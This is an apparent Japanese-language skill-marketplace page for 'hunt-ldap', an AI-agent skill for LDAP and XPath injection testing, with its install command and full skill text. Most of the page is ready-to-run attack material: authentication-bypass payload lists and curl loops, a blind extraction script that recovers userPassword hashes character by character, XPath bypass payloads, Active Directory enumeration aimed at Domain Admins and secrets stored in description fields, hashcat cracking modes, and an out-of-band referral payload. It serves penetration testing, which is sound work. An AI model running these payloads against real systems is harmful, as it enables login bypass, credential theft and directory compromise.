mcpField
H
hunt-ldap

hunt-ldap

github.com/uphiagoセキュリティ1.3k41 回インストール8 週間前に更新
リポジトリ

hunt-ldap について

hunt-ldapは、認証機能やディレクトリ連携アプリにおけるLDAP/XPathインジェクションを調査するセキュリティテスト用スキルです。一般的なLDAPとActive Directoryの違いを区別し、対照検証で誤検知を抑えます。

主な機能

  1. 01LDAPフィルターとDNインジェクションのテスト
  2. 02認証バイパスの調査
  3. 03制御されたブラインド属性抽出
  4. 04XPathインジェクションの確認
  5. 05Active Directory固有のガイダンス
  6. 06誤検知の検証

活用シーン

  1. 01ディレクトリ連携ログインフォームのテスト
  2. 02ディレクトリ属性の抽出可能性の確認
  3. 03LDAPまたはXPath認証バイパスの評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-ldap

インストール後、Claude Code で/hunt-ldapを入力して読み込まれたか確認します。

詳細

HUNT-LDAP — LDAP インジェクションと XPath インジェクション

根拠に関する注記:LDAP インジェクションは、公開プラットフォームでペイロードをそのまま開示されることはほとんどありません(その多くは社内ペンテストのレポートに記載されています)。このスキルの根拠は、架空の HackerOne ID ではなく、公開情報として検証可能な OWASP LDAP Injection Prevention / Testing Guide (WSTG-INPV-06)、PortSwigger Web Security Academy (LDAP injection)、および RFC 4515 のフィルター文法です。リンクできないレポートを引用しないでください。

重要な標的

認証を迂回する LDAP インジェクション = Critical。認証情報やシークレットのブラインド属性抽出 = High。AD の列挙のみ = Medium-High。

価値の高い攻撃チェーン:

  • LDAP 認証の迂回 — uid フィルターを閉じ、常に真となる OR を追加して、有効なパスワードなしで bind/search が管理者エントリーを返すようにします。
  • ブラインド属性抽出 — ブール値オラクル(ログインの成功/失敗、結果数、または応答の長さ)を使って、属性値を1文字ずつ抽出します。
  • userPassword ハッシュの抽出(非 AD のみ) — OpenLDAP/389-DS では、userPassword 属性に {SSHA}/{CRYPT} ハッシュが格納されている場合があり、クエリーで読み取れます。以下の AD と汎用 LDAP に関する警告を参照してください。
  • XPath インジェクションによる認証の迂回 — XML ベースの認証に対して ' or '1'='1 を使います。

重大 — Active Directory と汎用 LDAP の違い

この2つを混同しないでください。動作は大きく異なります。

汎用 LDAP(OpenLDAP、389-DS、ApacheDS)Active Directory
パスワード属性userPassword — {SSHA}/{MD5}/{CRYPT} を格納する場合があり、ACL で許可されていれば読み取り可能unicodePwd — 書き込み専用で、検索結果として返されることはありません
インジェクションによるハッシュ抽出ACL によって userPassword が漏えいする場合は可能不可能 — LDAP 経由で読み取り可能なハッシュ属性はありません
列挙に役立つ属性uid、cn、mail、userPasswordsAMAccountName、userPrincipalName、mail、memberOf、description(平文のシークレットが格納されていることもよくあります!)

ブラインド LDAP インジェクションで AD のパスワードハッシュを取得できる、と読者に伝えないでください。取得できません。 unicodePwd は書き込み専用です。AD で有効なのは、列挙(sAMAccountName、memberOf、管理者がパスワードの保存に誤用する description/info フィールド)と認証の迂回であり、ハッシュのダンプではありません。ハッシュ抽出の手法は、userPassword を公開する非 AD ディレクトリに限られます。


攻撃対象領域の兆候

Corporate SSO / intranet login pages (often legacy Java/Spring/PHP)
Windows + IIS + "integrated" directory auth
/api/ldap/*  /api/directory/*  /people  /address-book  /search?dir=
"Find a colleague" / org-chart / employee-search features
XML-backed config or auth → XPath injection candidate
Error strings that confirm an LDAP backend:
  javax.naming.NameNotFoundException
  javax.naming.directory.InvalidSearchFilterException
  LDAP: error code 49 - 80090308  (AD invalid creds / bind failure)
  com.sun.jndi.ldap.*  /  System.DirectoryServices  /  ldap_search():
  "Bad search filter"  /  net.ldap (Go)  /  python-ldap SERVER_DOWN

LDAP フィルター文法(RFC 4515)— インジェクションが成立する理由

ログインフィルターは通常、文字列連結で構築されます。

(&(uid=<USERNAME>)(userPassword=<PASSWORD>))

& = AND、| = OR、! = NOT です。フィルターは前置記法(ポーランド記法)で、演算子が先頭に置かれ、すべてのサブフィルターが括弧で囲まれます。インジェクションを行うには、(a) 現在の (uid=...) グループをエスケープし、(b) 独自のロジックを注入し、(c) 括弧の数を全体で一致させる必要があります。一致しないと、サーバーは実行せず、フィルター構文エラーを返します。

特殊文字セット — 1つずつテストする

これらの文字には構文上の意味があり、安全なアプリではエスケープする必要があります(RFC 4515 §3)。生のまま送信したときにアプリがエラーを返す、または動作が変わる場合、入力はエスケープされていないため、インジェクション可能です。

文字フィルターでのエスケープ重要な理由
*\2aワイルドカード — 任意の値に一致します
(\28フィルターグループを開始します
)\29フィルターグループを閉じます
\\5cエスケープ文字そのものです
NUL\00文字列終端文字 — C ベースのサーバーではフィルターを途中で切り詰めます
/(DN コンテキスト)RDN の区切り文字 — DN インジェクションで関係します

検索フィルターのコンテキストと DN インジェクションは異なる脆弱性です。

  • 検索フィルターインジェクション(最も一般的):入力が (attr=VALUE) フィルター内に入ります。ペイロードでは * ( ) & | ! を使います。
  • DN インジェクション:入力が識別名(uid=VALUE,ou=people,dc=corp)に連結されます。この場合は , = + " \ < > ; と / が重要で、* はワイルドカードではありません。両方をテストしてください。ペイロードを相互に使い回すことはできません。

段階的なハンティング手法

フェーズ 1 — LDAP バックエンドの確認(まずはベースライン)
# ALWAYS capture a control response first — you compare everything to this.
BASE=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}|%{size_download}|%{time_total}" \
  -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"validlookinguser","password":"wrongpass"}')
echo "BASELINE (valid-format, wrong pw): $BASE"

# Send a single unbalanced paren. A SAFE (escaping) app → identical baseline.
# An INJECTABLE app → 500 / filter-syntax error / different size.
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"test)","password":"x"}' | grep -iE \
  "naming|InvalidSearchFilter|error code 49|Bad search filter|jndi|ldap_search"

単独の ) で構文エラー/500 が発生し、括弧の対応が取れたペイロードでは発生しない場合、LDAP インジェクションを示す最も明確な兆候です。証拠として必要になるため、記録しておいてください。

フェーズ 2 — 認証バイパスのペイロード(括弧の対応を取る)
# Target filter assumed: (&(uid=USERNAME)(userPassword=PASSWORD))
# Goal: make the uid sub-filter always-true and neutralise the password clause.

# Wildcard-everything (works when password clause is dropped by a trailing comment-like break):
#   username = *)(uid=*))(|(uid=*    password = anything
# Always-true admin (OR uid=*):
#   username = admin)(|(uid=*)       (note: leaves one extra ')' — see below)
# NUL-truncate the password clause (C-backed servers):
#   username = admin)(uid=*))%00      password = x

USERNAME_PAYLOADS=(
  'admin))(|(uid=*'        # close uid + close &, open OR uid=* — balance check below
  '*)(uid=*))(|(uid=*'     # full always-true, self-balancing classic
  'admin)(!(userPassword=ZZZ))'  # AND NOT a password that is never set → always true
  'admin*'                 # simple wildcard suffix — try first, lowest noise
)

for P in "${USERNAME_PAYLOADS[@]}"; do
  R=$(curl --max-time 30 --connect-timeout 10 -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":$(python3 -c 'import json,sys;print(json.dumps(sys.argv[1]))' "$P"),\"password\":\"anything\"}")
  echo "PAYLOAD: $P"
  echo "RESP:    ${R: -40}"
  echo "BASE:    $BASE   <-- compare http_code+size to rule out false positive"
  echo "---"
done

括弧の対応を取る際の経験則: ペイロードだけでなく、最終的なフィルター全体で ( の数から ) の数を引いて数えてください。アプリが入力の後ろに )(userPassword=...)) を追加する場合は、最終的な文字列の括弧の対応が取れるよう、末尾に適切な数の ) を残してください。括弧の対応が取れていないフィルターは構文エラーになるため、バイパスではありません(誤検知です)。

フェーズ 3 — 制御されたオラクルによるブラインド抽出(生のバイト数ではなく)

生の size_download の差分比較には、WAF のバナー、CSRF トークン、タイムスタンプ、注入した文字自体による長さの変動などのノイズが入りやすくなります。オラクルを絶対サイズではなくレスポンスにするため、真/偽のペア対照を使用してください。

# Oracle pair: a known-TRUE filter and a known-FALSE filter on a public attr.
# TRUE : admin)(uid=*))(|(uid=*     -> entry exists
# FALSE: admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ
probe () {  # $1 = filter-tail payload -> prints normalized size
  curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{size_download}" -X POST https://$TARGET/api/login \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"$1\",\"password\":\"x\"}"
}
T=$(probe 'admin)(uid=*))(|(uid=*')
F=$(probe 'admin)(uid=NONEXIST_ZZZ))(|(uid=NONEXIST_ZZZ')
echo "TRUE-class size=$T  FALSE-class size=$F"
[ "$T" = "$F" ] && { echo "No length oracle — try a STATUS or BODY-MARKER oracle, or OOB."; exit; }

# Now extract char-by-char. The boolean test compares against $T/$F, NOT a guess.
# Filter: (&(uid=admin)(userPassword=<PREFIX><CHAR>*))  on a NON-AD directory.
PREFIX=""
for pos in $(seq 1 32); do
  for C in {a..z} {A..Z} {0..9} '$' '/' '.' '+' '=' '{' '}'; do
    S=$(probe "admin)(userPassword=${PREFIX}${C}*))(|(uid=*")
    if [ "$S" = "$T" ]; then PREFIX="${PREFIX}${C}"; echo "[$pos] -> $PREFIX"; break; fi
  done
done
echo "RECOVERED: $PREFIX"

ブラインド抽出の誤検知を防ぐ対策:

  • 真となる各文字を 3 回繰り返し、サイズが安定していることを確認してください。攻撃者が制御する文字自体による長さの変動は、誤検知の最大の原因です。
  • 各ラウンドの後も、偽の対照が偽のサイズを返すことを確認してください(アプリが単にすべてのリクエストでエラーを返すようになったわけではありません。WAF によるブロックが一致のように見えることがあります)。
  • 本文の長さが信頼できない場合は、オラクルを HTTP ステータス、本文のマーカー文字列("Invalid credentials" があるかどうか)、または時間差を利用する重いフィルターに切り替えてください。ただし、安定したベースライン差分を確認してからにしてください。
フェーズ 4 — XPath インジェクション(XML ベースの認証)
# Normal: //users/user[name/text()='ADMIN' and password/text()='PASS']
# Bypass closes the name predicate and OR-trues the whole expression.
XPATH_PAYLOADS=(
  "' or '1'='1"
  "' or ''='"
  "admin' or '1'='1' or 'a'='b"     # keeps quoting balanced
  "x'] | //user/* | //user[name()='x"  # blind: dump all user nodes (XPath has no comments)
  "*[contains(name(),'pass')]"          # node-name discovery
)
for P in "${XPATH_PAYLOADS[@]}"; do
  E=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$P")
  R=$(curl --max-time 30 --connect-timeout 10 -s -w "|%{http_code}|%{size_download}" -X POST https://$TARGET/api/login \
    --data-urlencode "username=$P" --data-urlencode "password=x")
  echo "$P  ->  ${R: -24}"
done
# XPath has NO comment syntax — you must keep quotes/brackets balanced, unlike SQLi.
フェーズ 5 — ワイルドカードによる AD 列挙(対照付きカウントオラクル)
# Establish that prefix='zzqx' (unlikely) returns ~0 and prefix='a' returns more.
# A directory that returns the SAME count for both is NOT leaking via wildcard.
count () { curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/directory/search \
  -H "Content-Type: application/json" -d "{\"filter\":\"(sAMAccountName=$1*)\"}" \
  | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("results",d.get("users",[]))))' 2>/dev/null; }
CTRL=$(count "zzqx_unlikely")
echo "control count (should be ~0): $CTRL"
for L in {a..z}; do echo "$L* -> $(count $L)  (vs control $CTRL)"; done
# Then pivot to memberOf / description for privileged accounts:
#   (&(sAMAccountName=*)(memberOf=*Domain Admins*))
#   (description=*pw*)   (description=*pass*)   — admins stash secrets here
フェーズ 6 — ツールと OOB による確認
# Validate the inferred filter directly if you ever get LDAP creds / a bind:
ldapsearch -x -H ldap://$AD_HOST -D "CORP\\user" -w "$PW" \
  -b "dc=corp,dc=local" "(&(objectClass=user)(sAMAccountName=admin*))" sAMAccountName memberOf

# Burp: Intruder over the char set for blind exfil; the Web Security Academy
# "Blind LDAP injection" labs mirror the Phase-3 oracle exactly.
# OOB (rare but decisive): some JNDI/LDAP stacks resolve a referral. If you can
# inject a referral/URL the server dereferences, point it at Collaborator:
#   (uid=*))(referral=ldap://<COLLAB>/x)   — a DNS/LDAP hit at Collaborator
# is server-side proof with zero ambiguity. Treat any Collaborator interaction
# as the gold-standard confirmation for otherwise-blind cases.

攻撃チェーン表

LDAP の発見事項チェーン先影響
認証バイパス(常に真となるフィルター)ディレクトリの最初のエントリとして管理者/SSO パネルにアクセス重大
AD 列挙(sAMAccountName)ユーザー名リスト → パスワードスプレー/認証情報スタッフィング大規模な ATO リスク
memberOf の列挙ドメイン管理者を特定 → 標的型フィッシング/スプレー標的型侵害
description/info フィールドの読み取り管理者がそこに保存した平文の認証情報認証情報の直接漏えい
userPassword のブラインド抽出 (AD 以外のみ){SSHA}(ソルト付き SHA-1)→ hashcat -m 111({SSHA256}=1411、{SSHA512}=1711);{CRYPT} → モードは $id$ プレフィックスによって異なります($1$=500、$6$=1800)→ オフラインでクラック高
LDAP リファラル → Collaboratorサーバー側リクエスト/内部ディレクトリへの到達SSRF クラス、ブラインドの確認

AD には読み取り可能なパスワード属性がありません。「AD ハッシュの抽出」を攻撃チェーンとして 挙げないでください。AD に対する認証情報の取得は、description/info の誤用、または 列挙したユーザー名を使ったスプレーによるものであり、unicodePwd によるものではありません。


検証 — 報告する前に誤検知を排除してください

「バイパス」または「一致」が本物と言えるのは、構文エラー、WAF によるブロック、長さの揺らぎによる説明を排除してからです。

  • 認証バイパス: 常に真となるペイロードが有効な認証済みセッション(セッションクッキー+ログイン後のリソースへのアクセス)を返し、同じリクエストで括弧を1つ削除するとフィルター構文エラーが返ること。これにより、フィルターが解析・実行されたことを確認できます。すべての入力でアプリが無条件に通過させたわけではありません。
  • ネガティブコントロール: 形状は同等でも論理的に偽となるペイロード()(uid=NONEXISTENT_ZZZ))が失敗応答を返すこと。真となる場合と偽となる場合の両方が「成功」するなら、LDAP インジェクションではなく、エンドポイントの不具合を発見したことになります。
  • ブラインドデータ抽出: 復元した各文字がサイズの安定した状態で3回再現されること。ラウンド間でも偽のコントロールが引き続き偽を示すこと。復元値は直接の検索、またはその値を使う認証バイパスペイロードで検証されていること。
  • XPath: 引用符と角括弧の対応が取れていること(500 エラーがないこと)。また、バイパスによって実際のアカウントコンテキストにログインできたこと。単に別のエラーページが表示されただけではありません。
  • 可能な場合は OOB を使用: リファラルペイロードによる Collaborator DNS/LDAP のやり取りは、ブラインドケースでは決定的な証拠になります。長さだけからの推測より優先してください。
  • AD に関する主張は慎重に: 「AD」と述べる場合は、AD 固有の属性(sAMAccountName/memberOf)を列挙していること。AD ハッシュの抽出を主張してはいけません。

深刻度:

  • 管理者/特権ディレクトリエントリとして認証バイパスに成功:Critical
  • userPassword ハッシュの抽出(非 AD)、または description フィールドからの認証情報の読み取り:High
  • AD のユーザー/グループ列挙のみ:Medium-High
  • ブラインドの真偽オラクルを確認したが、有用な属性にアクセスできない:Medium

検証

このセルフテストを実行して、LDAP ハンティングの準備ができていることを確認します。

  1. スキルの整合性 — スキルファイルが読み取り可能で、形式が正しいことを確認します。

    grep -q "name: hunt-ldap" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. カテゴリの確認 — スキルにカテゴリが設定されていることを確認します。

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 落とし穴のセクション — 落とし穴が記載されていることを確認します。

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

3つのテストすべてで、スキルが適切に構成され、使用できる状態であることを確認します。


落とし穴

  • 機密属性を伴わない匿名 LDAP バインド — 公開ディレクトリ情報を返す匿名バインドは通常の動作です。PII、認証情報、またはメンバーシップデータが必要です。
  • 認証バイパスを伴わない LDAP インジェクション — 真偽値だけを返すブラインド LDAP インジェクションは、悪用がより困難です。データの抽出または認証バイパスが必要です。
  • 内部ネットワーク上で LDAPS が強制されていない — 内部ネットワークでの平文 LDAP は一般的です。検出事項となるのは、インターネットに公開されたサービスの場合のみです。
  • リレー経路を伴わない LDAP 経由の NTLM — LDAP から NTLM ハッシュを取得する価値があるのは、リレー先がある場合のみです。

関連スキル

  • password-spray-methodology — すべてのプロトコルに対応する汎用パスワードスプレーパイプラインとエラーコードの差異

コメント